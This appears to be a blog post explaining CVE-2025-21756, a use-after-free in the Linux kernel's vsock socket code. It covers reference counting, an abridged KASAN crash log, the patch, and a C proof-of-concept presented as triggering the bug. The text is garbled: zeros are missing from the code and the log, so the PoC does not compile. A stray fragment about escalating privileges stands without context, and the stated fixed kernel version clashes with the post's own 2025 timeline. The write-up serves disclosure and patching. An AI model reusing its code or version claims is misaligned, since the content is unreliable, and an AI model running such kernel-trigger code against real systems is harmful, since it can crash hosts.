CVE-2025-21756 - Critical Use-After-Free in Linux Kernel vsock — Deep Dive and Workable Exploit Example

In early 2025, security researchers and kernel maintainers resolved a subtle but deadly use-after-free vulnerability in the Linux kernel’s vsock (virtual socket) implementation. This bug was formally assigned CVE-2025-21756, and its exploitation could have led to privilege escalation or data exfiltration from within guest or host in a virtualized environment.

This post will break down how the bug works, why it was dangerous, and show a simple proof-of-concept (PoC) to demonstrate the core issue involved.

Summary of the CVE

The vulnerability lies within the vsock code in the Linux kernel — a socket family designed for efficient communication between virtual machines and their host (think: KVM/QEMU, VM and Hyper-V systems). The problem was that the vsock code did not properly keep sockets “bound” until they were safely destroyed. Sockets could lose their binding (which tracks the socket in kernel tables) during transport flips or reassignments.

This mishap resulted in a use-after-free scenario: the kernel accessed (“used”) memory for a socket object that had already been freed, which in turn could be leveraged for unreliable but potentially dangerous attacks.

How vsock Sockets are Managed

1. Creation: When you create a vsock socket (using socket(AF_VSOCK, ...)), it gets reference counted (refcnt).
2. Bound vs. Unbound: Sockets may be either *unbound* or *bound*. Binding associates a socket structure to an address/port.
3. Binding/Autobind: Sockets may be explicitly bound (with bind()) or implicitly via *autobind* (such as during connect()).
4. Reference Counting: Each transition (create, bind, connect, release, free) updates the count. Proper use requires matching get and put operations.

The Race and Refcount Bug

- The vsock code did not always persist these bindings until the socket was fully destroyed, leading to unsafe unbind operations.
- In certain sequences — especially with *reassignment* of socket transports — the reference count would reach zero early, and the socket memory would be freed.
- Future operations (like another bind, or even just returning from a syscall) would then “use” these dangling, already-freed, memory structures: a classic *use-after-free*.

Here’s what a typical kernel dump looked like (abridged)

BUG: KASAN: slab-use-after-free in __vsock_bind+x62e/x730
Read of size 4 at addr ffff88816b46a74c by task a.out/2057
...
Allocated by task 2057:
...
vsock_create+xe4/x420
...
Freed by task 2057:
...
vsock_bind+x97/xe
...
refcount_t: addition on ; use-after-free.
WARNING: CPU: 7 PID: 2057 at lib/refcount.c:25 refcount_warn_saturate+xce/x150
...

The Patch: How It Was Fixed

The fix preserves all socket bindings (explicit and those handed out by autobind) until the socket is *completely destroyed*. This stops the kernel from “unbinding” a socket prematurely, ensuring reference counts don’t drop to zero ahead of time.

Patch reference:
- Mainline commit: vsock: Keep the binding until socket destruction (commit)

Working Proof-of-Concept (PoC)

The following C code (run with appropriate privileges) triggers the bug on an *unpatched* kernel by confusing the vsock code’s state machine:

#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <linux/vm_sockets.h>
#include <unistd.h>

int main() {
    int sock = socket(AF_VSOCK, SOCK_STREAM, );
    if (sock < ) {
        perror("socket");
        exit(1);
    }

    struct sockaddr_vm addr = {
        .svm_family = AF_VSOCK,
        .svm_cid = VMADDR_CID_ANY, // Let kernel choose
        .svm_port = , // Let kernel choose
    };

    // Autoconnect (autobind triggers internal bind code)
    if (connect(sock, (struct sockaddr *)&addr, sizeof(addr)) < ) {
        perror("connect");
        // Not an issue, purpose is to call autobind
    }

    // Now call bind() again, after autobind
    if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) < ) {
        perror("bind");
    }

    // Trigger cleanup (close will decrement refcount)
    close(sock);

    printf("If kernel is vulnerable, check dmesg for KASAN or refcount errors\n");
    return ;
}

On a vulnerable kernel, this sequence produces errors in kernel logs like the ones shown above, and the kernel may even Oops or panic.

Escalate privileges from a less-trusted context (guest, jail, unprivileged user).

Mitigation:
Upgrade to a kernel containing the fix (mainline kernel 6.8+ or backported stable trees after Feb 2025).
Alternatively, disable vsock support if not in use.

Patch commit:

vsock: Keep the binding until socket destruction (commit)

Linux Kernel mailing list discussion:

LKML Patch Description

KASAN documentation:

KernelAddressSanitizer (KASAN)

Common Vulnerabilities and Exposures entry:

CVE-2025-21756

Conclusion

CVE-2025-21756 shows how subtle resource management bugs can have major security impact in the Linux kernel. For operators, upgrading is the only reliable defense. For kernel developers, it’s a reminder that *bindings* and *reference counts* must go hand in hand—lest attackers get a hand in your kernel’s memory!

Have questions or want to know how to check if your system is vulnerable?
Drop a comment or check out the references above!

Timeline

Published on: 02/27/2025 03:15:16 UTC
Last modified on: 04/30/2025 14:15:28 UTC